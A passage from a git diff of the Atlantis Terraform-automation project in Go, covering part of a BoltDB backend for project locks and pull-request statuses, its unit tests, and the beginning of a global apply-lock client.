{ + return errors.Wrapf(err, "deserializing lock at key %q", string(k)) + } + if lock.Pull.Num == pullNum { + locks = append(locks, lock) + } + } + return nil + }) + if err != nil { + return locks, err + } + + // delete the locks + for _, lock := range locks { + if _, err = b.Unlock(lock.Project, lock.Workspace); err != nil { + return locks, errors.Wrapf(err, "unlocking repo %s, path %s, workspace %s", lock.Project.RepoFullName, lock.Project.Path, lock.Workspace) + } + } + return locks, nil +} + +// GetLock returns a pointer to the lock for that project and workspace. +// If there is no lock, it returns a nil pointer. +func (b *BoltDB) GetLock(p models.Project, workspace string) (*models.ProjectLock, error) { + key := b.lockKey(p, workspace) + var lockBytes []byte + err := b.db.View(func(tx *bolt.Tx) error { + b := tx.Bucket(b.locksBucketName) + lockBytes = b.Get([]byte(key)) + return nil + }) + if err != nil { + return nil, errors.Wrap(err, "getting lock data") + } + // lockBytes will be nil if there was no data at that key + if lockBytes == nil { + return nil, nil + } + + var lock models.ProjectLock + if err := json.Unmarshal(lockBytes, &lock); err != nil { + return nil, errors.Wrapf(err, "deserializing lock at key %q", key) + } + + // need to set it to Local after deserialization due to https://github.com/golang/go/issues/19486 + lock.Time = lock.Time.Local() + return &lock, nil +} + +// UpdatePullWithResults updates pull's status with the latest project results. +// It returns the new PullStatus object. +func (b *BoltDB) UpdatePullWithResults(pull models.PullRequest, newResults []command.ProjectResult) (models.PullStatus, error) { + key, err := b.pullKey(pull) + if err != nil { + return models.PullStatus{}, err + } + + var newStatus models.PullStatus + err = b.db.Update(func(tx *bolt.Tx) error { + bucket := tx.Bucket(b.pullsBucketName) + currStatus, err := b.getPullFromBucket(bucket, key) + if err != nil { + return err + } + + // If there is no pull OR if the pull we have is out of date, we + // just write a new pull. + if currStatus == nil || currStatus.Pull.HeadCommit != pull.HeadCommit { + var statuses []models.ProjectStatus + for _, r := range newResults { + statuses = append(statuses, b.projectResultToProject(r)) + } + newStatus = models.PullStatus{ + Pull: pull, + Projects: statuses, + } + } else { + // If there's an existing pull at the right commit then we have to + // merge our project results with the existing ones. We do a merge + // because it's possible a user is just applying a single project + // in this command and so we don't want to delete our data about + // other projects that aren't affected by this command. + newStatus = *currStatus + for _, res := range newResults { + // First, check if we should update any existing projects. + updatedExisting := false + for i := range newStatus.Projects { + // NOTE: We're using a reference here because we are + // in-place updating its Status field. + proj := &newStatus.Projects[i] + if res.Workspace == proj.Workspace && + res.RepoRelDir == proj.RepoRelDir && + res.ProjectName == proj.ProjectName { + + proj.Status = res.PlanStatus() + + // Updating only policy sets which are included in results; keeping the rest. + if len(proj.PolicyStatus) > 0 { + for i, oldPolicySet := range proj.PolicyStatus { + for _, newPolicySet := range res.PolicyStatus() { + if oldPolicySet.PolicySetName == newPolicySet.PolicySetName { + proj.PolicyStatus[i] = newPolicySet + } + } + } + } else { + proj.PolicyStatus = res.PolicyStatus() + } + + updatedExisting = true + break + } + } + + if !updatedExisting { + // If we didn't update an existing project, then we need to + // add this because it's a new one. + newStatus.Projects = append(newStatus.Projects, b.projectResultToProject(res)) + } + } + } + + // Now, we overwrite the key with our new status. + return b.writePullToBucket(bucket, key, newStatus) + }) + if err != nil { + return models.PullStatus{}, fmt.Errorf("DB transaction failed: %w", err) + } + return newStatus, nil +} + +// GetPullStatus returns the status for pull. +// If there is no status, returns a nil pointer. +func (b *BoltDB) GetPullStatus(pull models.PullRequest) (*models.PullStatus, error) { + key, err := b.pullKey(pull) + if err != nil { + return nil, err + } + var s *models.PullStatus + err = b.db.View(func(tx *bolt.Tx) error { + bucket := tx.Bucket(b.pullsBucketName) + var txErr error + s, txErr = b.getPullFromBucket(bucket, key) + return txErr + }) + if err != nil { + return nil, errors.Wrap(err, "DB transaction failed") + } + return s, nil +} + +// DeletePullStatus deletes the status for pull. +func (b *BoltDB) DeletePullStatus(pull models.PullRequest) error { + key, err := b.pullKey(pull) + if err != nil { + return err + } + err = b.db.Update(func(tx *bolt.Tx) error { + bucket := tx.Bucket(b.pullsBucketName) + return bucket.Delete(key) + }) + if err != nil { + return errors.Wrap(err, "DB transaction failed") + } + return nil +} + +// UpdateProjectStatus updates project status. +func (b *BoltDB) UpdateProjectStatus(pull models.PullRequest, workspace string, repoRelDir string, newStatus models.ProjectPlanStatus) error { + key, err := b.pullKey(pull) + if err != nil { + return err + } + err = b.db.Update(func(tx *bolt.Tx) error { + bucket := tx.Bucket(b.pullsBucketName) + currStatusPtr, err := b.getPullFromBucket(bucket, key) + if err != nil { + return err + } + if currStatusPtr == nil { + return nil + } + currStatus := *currStatusPtr + + // Update the status. + for i := range currStatus.Projects { + // NOTE: We're using a reference here because we are + // in-place updating its Status field. + proj := &currStatus.Projects[i] + if proj.Workspace == workspace && proj.RepoRelDir == repoRelDir { + proj.Status = newStatus + break + } + } + return b.writePullToBucket(bucket, key, currStatus) + }) + if err != nil { + return errors.Wrap(err, "DB transaction failed") + } + return nil +} + +func (b *BoltDB) pullKey(pull models.PullRequest) ([]byte, error) { + hostname := pull.BaseRepo.VCSHost.Hostname + if strings.Contains(hostname, pullKeySeparator) { + return nil, fmt.Errorf("vcs hostname %q contains illegal string %q", hostname, pullKeySeparator) + } + repo := pull.BaseRepo.FullName + if strings.Contains(repo, pullKeySeparator) { + return nil, fmt.Errorf("repo name %q contains illegal string %q", hostname, pullKeySeparator) + } + + return []byte(fmt.Sprintf("%s::%s::%d", hostname, repo, pull.Num)), + nil +} + +func (b *BoltDB) commandLockKey(cmdName command.Name) string { + return fmt.Sprintf("%s/lock", cmdName) +} + +func (b *BoltDB) lockKey(p models.Project, workspace string) string { + return fmt.Sprintf("%s/%s/%s", p.RepoFullName, p.Path, workspace) +} + +func (b *BoltDB) getPullFromBucket(bucket *bolt.Bucket, key []byte) (*models.PullStatus, error) { + serialized := bucket.Get(key) + if serialized == nil { + return nil, nil + } + + var p models.PullStatus + if err := json.Unmarshal(serialized, &p); err != nil { + return nil, errors.Wrapf(err, "deserializing pull at %q with contents %q", key, serialized) + } + return &p, nil +} + +func (b *BoltDB) writePullToBucket(bucket *bolt.Bucket, key []byte, pull models.PullStatus) error { + serialized, err := json.Marshal(pull) + if err != nil { + return errors.Wrap(err, "serializing") + } + return bucket.Put(key, serialized) +} + +func (b *BoltDB) projectResultToProject(p command.ProjectResult) models.ProjectStatus { + return models.ProjectStatus{ + Workspace: p.Workspace, + RepoRelDir: p.RepoRelDir, + ProjectName: p.ProjectName, + PolicyStatus: p.PolicyStatus(), + Status: p.PlanStatus(), + } +} + +func (b *BoltDB) Close() error { + return b.db.Close() +} diff --git a/server/core/db/boltdb_test.go b/server/core/db/boltdb_test.go new file mode 100644 index 0000000000..13495ff5ed --- /dev/null +++ b/server/core/db/boltdb_test.go @@ -0,0 +1,936 @@ +// Copyright 2017 HootSuite Media Inc. +// +// Licensed under the Apache License, Version 2.0 (the License); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an AS IS BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// Modified hereafter by contributors to runatlantis/atlantis. + +package db_test + +import ( + "os" + "testing" + "time" + + "github.com/runatlantis/atlantis/server/core/db" + + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + . "github.com/runatlantis/atlantis/testing" + bolt "go.etcd.io/bbolt" +) + +var lockBucket = "bucket" +var configBucket = "configBucket" +var project = models.NewProject("owner/repo", "parent/child", "") +var workspace = "default" +var pullNum = 1 +var lock = models.ProjectLock{ + Pull: models.PullRequest{ + Num: pullNum, + }, + User: models.User{ + Username: "lkysow", + }, + Workspace: workspace, + Project: project, + Time: time.Now(), +} + +func TestLockCommandNotSet(t *testing.T) { + t.Log("retrieving apply lock when there are none should return empty LockCommand") + db, b := newTestDB() + defer cleanupDB(db) + exists, err := b.CheckCommandLock(command.Apply) + Ok(t, err) + Assert(t, exists == nil, "exp nil") +} + +func TestLockCommandEnabled(t *testing.T) { + t.Log("setting the apply lock") + db, b := newTestDB() + defer cleanupDB(db) + timeNow := time.Now() + _, err := b.LockCommand(command.Apply, timeNow) + Ok(t, err) + + config, err := b.CheckCommandLock(command.Apply) + Ok(t, err) + Equals(t, true, config.IsLocked()) +} + +func TestLockCommandFail(t *testing.T) { + t.Log("setting the apply lock") + db, b := newTestDB() + defer cleanupDB(db) + timeNow := time.Now() + _, err := b.LockCommand(command.Apply, timeNow) + Ok(t, err) + + _, err = b.LockCommand(command.Apply, timeNow) + ErrEquals(t, "db transaction failed: lock already exists", err) +} + +func TestUnlockCommandDisabled(t *testing.T) { + t.Log("unsetting the apply lock") + db, b := newTestDB() + defer cleanupDB(db) + timeNow := time.Now() + _, err := b.LockCommand(command.Apply, timeNow) + Ok(t, err) + + config, err := b.CheckCommandLock(command.Apply) + Ok(t, err) + Equals(t, true, config.IsLocked()) + + err = b.UnlockCommand(command.Apply) + Ok(t, err) + + config, err = b.CheckCommandLock(command.Apply) + Ok(t, err) + Assert(t, config == nil, "exp nil object") +} + +func TestUnlockCommandFail(t *testing.T) { + t.Log("setting the apply lock") + db, b := newTestDB() + defer cleanupDB(db) + err := b.UnlockCommand(command.Apply) + ErrEquals(t, "db transaction failed: no lock exists", err) +} + +func TestMixedLocksPresent(t *testing.T) { + db, b := newTestDB() + defer cleanupDB(db) + timeNow := time.Now() + _, err := b.LockCommand(command.Apply, timeNow) + Ok(t, err) + + _, _, err = b.TryLock(lock) + Ok(t, err) + ls, err := b.List() + Ok(t, err) + Equals(t, 1, len(ls)) +} + +func TestListNoLocks(t *testing.T) { + t.Log("listing locks when there are none should return an empty list") + db, b := newTestDB() + defer cleanupDB(db) + ls, err := b.List() + Ok(t, err) + Equals(t, 0, len(ls)) +} + +func TestListOneLock(t *testing.T) { + t.Log("listing locks when there is one should return it") + db, b := newTestDB() + defer cleanupDB(db) + _, _, err := b.TryLock(lock) + Ok(t, err) + ls, err := b.List() + Ok(t, err) + Equals(t, 1, len(ls)) +} + +func TestListMultipleLocks(t *testing.T) { + t.Log("listing locks when there are multiple should return them") + db, b := newTestDB() + defer cleanupDB(db) + + // add multiple locks + repos := []string{ + "owner/repo1", + "owner/repo2", + "owner/repo3", + "owner/repo4", + } + + for _, r := range repos { + newLock := lock + newLock.Project = models.NewProject(r, "path", "") + _, _, err := b.TryLock(newLock) + Ok(t, err) + } + ls, err := b.List() + Ok(t, err) + Equals(t, 4, len(ls)) + for _, r := range repos { + found := false + for _, l := range ls { + if l.Project.RepoFullName == r { + found = true + } + } + Assert(t, found, "expected %s in %v", r, ls) + } +} + +func TestListAddRemove(t *testing.T) { + t.Log("listing after adding and removing should return none") + db, b := newTestDB() + defer cleanupDB(db) + _, _, err := b.TryLock(lock) + Ok(t, err) + _, err = b.Unlock(project, workspace) + Ok(t, err) + + ls, err := b.List() + Ok(t, err) + Equals(t, 0, len(ls)) +} + +func TestLockingNoLocks(t *testing.T) { + t.Log("with no locks yet, lock should succeed") + db, b := newTestDB() + defer cleanupDB(db) + acquired, currLock, err := b.TryLock(lock) + Ok(t, err) + Equals(t, true, acquired) + Equals(t, lock, currLock) +} + +func TestLockingExistingLock(t *testing.T) { + t.Log("if there is an existing lock, lock should...") + db, b := newTestDB() + defer cleanupDB(db) + _, _, err := b.TryLock(lock) + Ok(t, err) + + t.Log("...succeed if the new project has a different path") + { + newLock := lock + newLock.Project = models.NewProject(project.RepoFullName, "different/path", "") + acquired, currLock, err := b.TryLock(newLock) + Ok(t, err) + Equals(t, true, acquired) + Equals(t, pullNum, currLock.Pull.Num) + } + + t.Log("...succeed if the new project has a different workspace") + { + newLock := lock + newLock.Workspace = "different-workspace" + acquired, currLock, err := b.TryLock(newLock) + Ok(t, err) + Equals(t, true, acquired) + Equals(t, newLock, currLock) + } + + t.Log("...succeed if the new project has a different repoName") + { + newLock := lock + newLock.Project = models.NewProject("different/repo", project.Path, "") + acquired, currLock, err := b.TryLock(newLock) + Ok(t, err) + Equals(t, true, acquired) + Equals(t, newLock, currLock) + } + // TODO: How should we handle different name? + /* + t.Log("...succeed if the new project has a different name") + { + newLock := lock + newLock.Project = models.NewProject(project.RepoFullName, project.Path, "different-name") + acquired, currLock, err := b.TryLock(newLock) + Ok(t, err) + Equals(t, true, acquired) + Equals(t, newLock, currLock) + } + */ + + t.Log("...not succeed if the new project only has a different pullNum") + { + newLock := lock + newLock.Pull.Num = lock.Pull.Num + 1 + acquired, currLock, err := b.TryLock(newLock) + Ok(t, err) + Equals(t, false, acquired) + Equals(t, currLock.Pull.Num, pullNum) + } +} + +func TestUnlockingNoLocks(t *testing.T) { + t.Log("unlocking with no locks should succeed") + db, b := newTestDB() + defer cleanupDB(db) + _, err := b.Unlock(project, workspace) + + Ok(t, err) +} + +func TestUnlocking(t *testing.T) { + t.Log("unlocking with an existing lock should succeed") + db, b := newTestDB() + defer cleanupDB(db) + + _, _, err := b.TryLock(lock) + Ok(t, err) + _, err = b.Unlock(project, workspace) + Ok(t, err) + + // should be no locks listed + ls, err := b.List() + Ok(t, err) + Equals(t, 0, len(ls)) + + // should be able to re-lock that repo with a new pull num + newLock := lock + newLock.Pull.Num = lock.Pull.Num + 1 + acquired, currLock, err := b.TryLock(newLock) + Ok(t, err) + Equals(t, true, acquired) + Equals(t, newLock, currLock) +} + +func TestUnlockingMultiple(t *testing.T) { + t.Log("unlocking and locking multiple locks should succeed") + db, b := newTestDB() + defer cleanupDB(db) + + _, _, err := b.TryLock(lock) + Ok(t, err) + + new1 := lock + new1.Project.RepoFullName = "new/repo" + _, _, err = b.TryLock(new1) + Ok(t, err) + + new2 := lock + new2.Project.Path = "new/path" + _, _, err = b.TryLock(new2) + Ok(t, err) + + new3 := lock + new3.Workspace = "new-workspace" + _, _, err = b.TryLock(new3) + Ok(t, err) + + // now try and unlock them + _, err = b.Unlock(new3.Project, new3.Workspace) + Ok(t, err) + _, err = b.Unlock(new2.Project, workspace) + Ok(t, err) + _, err = b.Unlock(new1.Project, workspace) + Ok(t, err) + _, err = b.Unlock(project, workspace) + Ok(t, err) + + // should be none left + ls, err := b.List() + Ok(t, err) + Equals(t, 0, len(ls)) +} + +func TestUnlockByPullNone(t *testing.T) { + t.Log("UnlockByPull should be successful when there are no locks") + db, b := newTestDB() + defer cleanupDB(db) + + _, err := b.UnlockByPull("any/repo", 1) + Ok(t, err) +} + +func TestUnlockByPullOne(t *testing.T) { + t.Log("with one lock, UnlockByPull should...") + db, b := newTestDB() + defer cleanupDB(db) + _, _, err := b.TryLock(lock) + Ok(t, err) + + t.Log("...delete nothing when its the same repo but a different pull") + { + _, err := b.UnlockByPull(project.RepoFullName, pullNum+1) + Ok(t, err) + ls, err := b.List() + Ok(t, err) + Equals(t, 1, len(ls)) + } + t.Log("...delete nothing when its the same pull but a different repo") + { + _, err := b.UnlockByPull("different/repo", pullNum) + Ok(t, err) + ls, err := b.List() + Ok(t, err) + Equals(t, 1, len(ls)) + } + t.Log("...delete the lock when its the same repo and pull") + { + _, err := b.UnlockByPull(project.RepoFullName, pullNum) + Ok(t, err) + ls, err := b.List() + Ok(t, err) + Equals(t, 0, len(ls)) + } +} + +func TestUnlockByPullAfterUnlock(t *testing.T) { + t.Log("after locking and unlocking, UnlockByPull should be successful") + db, b := newTestDB() + defer cleanupDB(db) + _, _, err := b.TryLock(lock) + Ok(t, err) + _, err = b.Unlock(project, workspace) + Ok(t, err) + + _, err = b.UnlockByPull(project.RepoFullName, pullNum) + Ok(t, err) + ls, err := b.List() + Ok(t, err) + Equals(t, 0, len(ls)) +} + +func TestUnlockByPullMatching(t *testing.T) { + t.Log("UnlockByPull should delete all locks in that repo and pull num") + db, b := newTestDB() + defer cleanupDB(db) + _, _, err := b.TryLock(lock) + Ok(t, err) + + // add additional locks with the same repo and pull num but different paths/workspaces + new1 := lock + new1.Project.Path = "dif/path" + _, _, err = b.TryLock(new1) + Ok(t, err) + new2 := lock + new2.Workspace = "new-workspace" + _, _, err = b.TryLock(new2) + Ok(t, err) + + // there should now be 3 + ls, err := b.List() + Ok(t, err) + Equals(t, 3, len(ls)) + + // should all be unlocked + _, err = b.UnlockByPull(project.RepoFullName, pullNum) + Ok(t, err) + ls, err = b.List() + Ok(t, err) + Equals(t, 0, len(ls)) +} + +func TestGetLockNotThere(t *testing.T) { + t.Log("getting a lock that doesn't exist should return a nil pointer") + db, b := newTestDB() + defer cleanupDB(db) + l, err := b.GetLock(project, workspace) + Ok(t, err) + Equals(t, (*models.ProjectLock)(nil), l) +} + +func TestGetLock(t *testing.T) { + t.Log("getting a lock should return the lock") + db, b := newTestDB() + defer cleanupDB(db) + _, _, err := b.TryLock(lock) + Ok(t, err) + + l, err := b.GetLock(project, workspace) + Ok(t, err) + // can't compare against time so doing each field + Equals(t, lock.Project, l.Project) + Equals(t, lock.Workspace, l.Workspace) + Equals(t, lock.Pull, l.Pull) + Equals(t, lock.User, l.User) +} + +// Test we can create a status and then getCommandLock it. +func TestPullStatus_UpdateGet(t *testing.T) { + b := newTestDB2(t) + + pull := models.PullRequest{ + Num: 1, + HeadCommit: "sha", + URL: "url", + HeadBranch: "head", + BaseBranch: "base", + Author: "lkysow", + State: models.OpenPullState, + BaseRepo: models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + CloneURL: "clone-url", + SanitizedCloneURL: "clone-url", + VCSHost: models.VCSHost{ + Hostname: "github.com", + Type: models.Github, + }, + }, + } + status, err := b.UpdatePullWithResults( + pull, + []command.ProjectResult{ + { + Command: command.Plan, + RepoRelDir: ".", + Workspace: "default", + Failure: "failure", + }, + }) + Ok(t, err) + + maybeStatus, err := b.GetPullStatus(pull) + Ok(t, err) + Equals(t, pull, maybeStatus.Pull) // nolint: staticcheck + Equals(t, []models.ProjectStatus{ + { + Workspace: "default", + RepoRelDir: ".", + ProjectName: "", + Status: models.ErroredPlanStatus, + }, + }, status.Projects) + b.Close() +} + +// Test we can create a status, delete it, and then we shouldn't be able to getCommandLock +// it. +func TestPullStatus_UpdateDeleteGet(t *testing.T) { + b := newTestDB2(t) + + pull := models.PullRequest{ + Num: 1, + HeadCommit: "sha", + URL: "url", + HeadBranch: "head", + BaseBranch: "base", + Author: "lkysow", + State: models.OpenPullState, + BaseRepo: models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + CloneURL: "clone-url", + SanitizedCloneURL: "clone-url", + VCSHost: models.VCSHost{ + Hostname: "github.com", + Type: models.Github, + }, + }, + } + _, err := b.UpdatePullWithResults( + pull, + []command.ProjectResult{ + { + RepoRelDir: ".", + Workspace: "default", + Failure: "failure", + }, + }) + Ok(t, err) + + err = b.DeletePullStatus(pull) + Ok(t, err) + + maybeStatus, err := b.GetPullStatus(pull) + Ok(t, err) + Assert(t, maybeStatus == nil, "exp nil") + b.Close() +} + +// Test we can create a status, update a specific project's status within that +// pull status, and when we getCommandLock all the project statuses, that specific project +// should be updated. +func TestPullStatus_UpdateProject(t *testing.T) { + b := newTestDB2(t) + + pull := models.PullRequest{ + Num: 1, + HeadCommit: "sha", + URL: "url", + HeadBranch: "head", + BaseBranch: "base", + Author: "lkysow", + State: models.OpenPullState, + BaseRepo: models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + CloneURL: "clone-url", + SanitizedCloneURL: "clone-url", + VCSHost: models.VCSHost{ + Hostname: "github.com", + Type: models.Github, + }, + }, + } + _, err := b.UpdatePullWithResults( + pull, + []command.ProjectResult{ + { + RepoRelDir: ".", + Workspace: "default", + Failure: "failure", + }, + { + RepoRelDir: ".", + Workspace: "staging", + ApplySuccess: "success!", + }, + }) + Ok(t, err) + + err = b.UpdateProjectStatus(pull, "default", ".", models.DiscardedPlanStatus) + Ok(t, err) + + status, err := b.GetPullStatus(pull) + Ok(t, err) + Equals(t, pull, status.Pull) // nolint: staticcheck + Equals(t, []models.ProjectStatus{ + { + Workspace: "default", + RepoRelDir: ".", + ProjectName: "", + Status: models.DiscardedPlanStatus, + }, + { + Workspace: "staging", + RepoRelDir: ".", + ProjectName: "", + Status: models.AppliedPlanStatus, + }, + }, status.Projects) // nolint: staticcheck + b.Close() +} + +// Test that if we update an existing pull status and our new status is for a +// different HeadSHA, that we just overwrite the old status. +func TestPullStatus_UpdateNewCommit(t *testing.T) { + b := newTestDB2(t) + + pull := models.PullRequest{ + Num: 1, + HeadCommit: "sha", + URL: "url", + HeadBranch: "head", + BaseBranch: "base", + Author: "lkysow", + State: models.OpenPullState, + BaseRepo: models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + CloneURL: "clone-url", + SanitizedCloneURL: "clone-url", + VCSHost: models.VCSHost{ + Hostname: "github.com", + Type: models.Github, + }, + }, + } + _, err := b.UpdatePullWithResults( + pull, + []command.ProjectResult{ + { + RepoRelDir: ".", + Workspace: "default", + Failure: "failure", + }, + }) + Ok(t, err) + + pull.HeadCommit = "newsha" + status, err := b.UpdatePullWithResults(pull, + []command.ProjectResult{ + { + RepoRelDir: ".", + Workspace: "staging", + ApplySuccess: "success!", + }, + }) + + Ok(t, err) + Equals(t, 1, len(status.Projects)) + + maybeStatus, err := b.GetPullStatus(pull) + Ok(t, err) + Equals(t, pull, maybeStatus.Pull) + Equals(t, []models.ProjectStatus{ + { + Workspace: "staging", + RepoRelDir: ".", + ProjectName: "", + Status: models.AppliedPlanStatus, + }, + }, maybeStatus.Projects) + b.Close() +} + +// Test that if we update an existing pull status via Apply and our new status is for a +// the same commit, that we merge the statuses. +func TestPullStatus_UpdateMerge_Apply(t *testing.T) { + b := newTestDB2(t) + + pull := models.PullRequest{ + Num: 1, + HeadCommit: "sha", + URL: "url", + HeadBranch: "head", + BaseBranch: "base", + Author: "lkysow", + State: models.OpenPullState, + BaseRepo: models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + CloneURL: "clone-url", + SanitizedCloneURL: "clone-url", + VCSHost: models.VCSHost{ + Hostname: "github.com", + Type: models.Github, + }, + }, + } + _, err := b.UpdatePullWithResults( + pull, + []command.ProjectResult{ + { + Command: command.Plan, + RepoRelDir: "mergeme", + Workspace: "default", + Failure: "failure", + }, + { + Command: command.Plan, + RepoRelDir: "projectname", + Workspace: "default", + ProjectName: "projectname", + Failure: "failure", + }, + { + Command: command.Plan, + RepoRelDir: "staythesame", + Workspace: "default", + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "tf out", + LockURL: "lock-url", + RePlanCmd: "plan command", + ApplyCmd: "apply command", + }, + }, + }) + Ok(t, err) + + updateStatus, err := b.UpdatePullWithResults(pull, + []command.ProjectResult{ + { + Command: command.Apply, + RepoRelDir: "mergeme", + Workspace: "default", + ApplySuccess: "applied!", + }, + { + Command: command.Apply, + RepoRelDir: "projectname", + Workspace: "default", + ProjectName: "projectname", + Error: errors.New("apply error"), + }, + { + Command: command.Apply, + RepoRelDir: "newresult", + Workspace: "default", + ApplySuccess: "success!", + }, + }) + Ok(t, err) + + getStatus, err := b.GetPullStatus(pull) + Ok(t, err) + + // Test both the pull state returned from the update call *and* the getCommandLock + // call. + for _, s := range []models.PullStatus{updateStatus, *getStatus} { + Equals(t, pull, s.Pull) + Equals(t, []models.ProjectStatus{ + { + RepoRelDir: "mergeme", + Workspace: "default", + Status: models.AppliedPlanStatus, + }, + { + RepoRelDir: "projectname", + Workspace: "default", + ProjectName: "projectname", + Status: models.ErroredApplyStatus, + }, + { + RepoRelDir: "staythesame", + Workspace: "default", + Status: models.PlannedPlanStatus, + }, + { + RepoRelDir: "newresult", + Workspace: "default", + Status: models.AppliedPlanStatus, + }, + }, updateStatus.Projects) + } + b.Close() +} + +// Test that if we update one existing policy status via approve_policies and our new status is for a +// the same commit, that we merge the statuses. +func TestPullStatus_UpdateMerge_ApprovePolicies(t *testing.T) { + b := newTestDB2(t) + + pull := models.PullRequest{ + Num: 1, + HeadCommit: "sha", + URL: "url", + HeadBranch: "head", + BaseBranch: "base", + Author: "lkysow", + State: models.OpenPullState, + BaseRepo: models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + CloneURL: "clone-url", + SanitizedCloneURL: "clone-url", + VCSHost: models.VCSHost{ + Hostname: "github.com", + Type: models.Github, + }, + }, + } + _, err := b.UpdatePullWithResults( + pull, + []command.ProjectResult{ + { + Command: command.PolicyCheck, + RepoRelDir: "mergeme", + Workspace: "default", + Failure: "policy failure", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 1, + }, + }, + }, + }, + { + Command: command.PolicyCheck, + RepoRelDir: "projectname", + Workspace: "default", + ProjectName: "projectname", + Failure: "policy failure", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 1, + }, + }, + }, + }, + }) + Ok(t, err) + + updateStatus, err := b.UpdatePullWithResults(pull, + []command.ProjectResult{ + { + Command: command.ApprovePolicies, + RepoRelDir: "mergeme", + Workspace: "default", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 1, + CurApprovals: 1, + }, + }, + }, + }, + }) + Ok(t, err) + + getStatus, err := b.GetPullStatus(pull) + Ok(t, err) + + // Test both the pull state returned from the update call *and* the getCommandLock + // call. + for _, s := range []models.PullStatus{updateStatus, *getStatus} { + Equals(t, pull, s.Pull) + Equals(t, []models.ProjectStatus{ + { + RepoRelDir: "mergeme", + Workspace: "default", + Status: models.PassedPolicyCheckStatus, + PolicyStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Approvals: 1, + }, + }, + }, + { + RepoRelDir: "projectname", + Workspace: "default", + ProjectName: "projectname", + Status: models.ErroredPolicyCheckStatus, + PolicyStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Approvals: 0, + }, + }, + }, + }, updateStatus.Projects) + } + b.Close() +} + +// newTestDB returns a TestDB using a temporary path. +func newTestDB() (*bolt.DB, *db.BoltDB) { + // Retrieve a temporary path. + f, err := os.CreateTemp("", "") + if err != nil { + panic(errors.Wrap(err, "failed to create temp file")) + } + path := f.Name() + f.Close() // nolint: errcheck + + // Open the database. + boltDB, err := bolt.Open(path, 0600, nil) + if err != nil { + panic(errors.Wrap(err, "could not start bolt DB")) + } + if err := boltDB.Update(func(tx *bolt.Tx) error { + if _, err := tx.CreateBucketIfNotExists([]byte(lockBucket)); err != nil { + return errors.Wrap(err, "failed to create bucket") + } + if _, err := tx.CreateBucketIfNotExists([]byte(configBucket)); err != nil { + return errors.Wrap(err, "failed to create bucket") + } + return nil + }); err != nil { + panic(errors.Wrap(err, "could not create bucket")) + } + b, _ := db.NewWithDB(boltDB, lockBucket, configBucket) + return boltDB, b +} + +func newTestDB2(t *testing.T) *db.BoltDB { + tmp := t.TempDir() + boltDB, err := db.New(tmp) + Ok(t, err) + return boltDB +} + +func cleanupDB(db *bolt.DB) { + db.Close() // nolint: errcheck + os.Remove(db.Path()) // nolint: errcheck +} diff --git a/server/core/locking/apply_locking.go b/server/core/locking/apply_locking.go new file mode 100644 index 0000000000..54591b13f6 --- /dev/null +++ b/server/core/locking/apply_locking.go @@ -0,0 +1,121 @@ +package locking + +import ( + "errors" + "time" + + "github.com/runatlantis/atlantis/server/events/command" +) + +//go:generate pegomock generate --package mocks -o mocks/mock_apply_lock_checker.go ApplyLockChecker + +// ApplyLockChecker is an implementation of the global apply lock retrieval. +// It returns an object that contains information about apply locks status. +type ApplyLockChecker interface { + CheckApplyLock() (ApplyCommandLock, error) +} + +//go:generate pegomock generate --package mocks -o mocks/mock_apply_locker.go ApplyLocker + +// ApplyLocker interface that manages locks for apply command runner +type ApplyLocker interface { + // LockApply creates a lock for ApplyCommand if lock already exists it will + // return existing lock without any changes + LockApply() (ApplyCommandLock, error) + // UnlockApply deletes apply lock created by LockApply if present, otherwise + // it is a no-op + UnlockApply() error + ApplyLockChecker +} + +// ApplyCommandLock contains information about apply command lock status. +type ApplyCommandLock struct { + // Locked is true is when apply commands are locked + // Either by using omitting apply from AllowCommands or creating a global ApplyCommandLock + // DisableApply lock take precedence when set + Locked bool + GlobalApplyLockEnabled bool + Time time.Time + Failure string +} + +type ApplyClient struct { + backend Backend + disableApply bool + disableGlobalApplyLock bool +} + +func NewApplyClient(backend Backend, disableApply bool, disableGlobalApplyLock bool) ApplyLocker { + return &ApplyClient{ + backend: backend, + disableApply: disableApply, + disableGlobalApplyLock: disableGlobalApplyLock, + } +} + +// LockApply acquires global apply lock. +// DisableApply takes precedence to any existing locks, if it is set to true +// this function returns an error +func (c *ApplyClient) LockApply() (ApplyCommandLock, error) { + response := ApplyCommandLock{} + + if c.disableApply { + return response, errors.New("apply is omitted from AllowCommands; Apply commands are locked globally until flag is updated") + } + + applyCmdLock, err := c.backend.LockCommand(command.Apply, time.Now()) + if err != nil { + return response, err + } + + if applyCmdLock != nil { + response.Locked = true + response.Time = applyCmdLock.LockTime() + } + return response, nil +} + +// UnlockApply releases a global apply lock. +// DisableApply takes precedence to any existing locks, if it is set to true +// this function returns an error +func (c *ApplyClient) UnlockApply() error { + if c.disableApply { + return errors.New("apply commands are disabled until AllowCommands flag is updated") + } + + err := c.backend.UnlockCommand(command.Apply) + if err != nil { + return err + } + + return nil +} + +// CheckApplyLock retrieves an apply command lock if present. +// If DisableApply is set it will always return a lock. +func (c *ApplyClient) CheckApplyLock() (ApplyCommandLock, error) { + response := ApplyCommandLock{ + GlobalApplyLockEnabled: 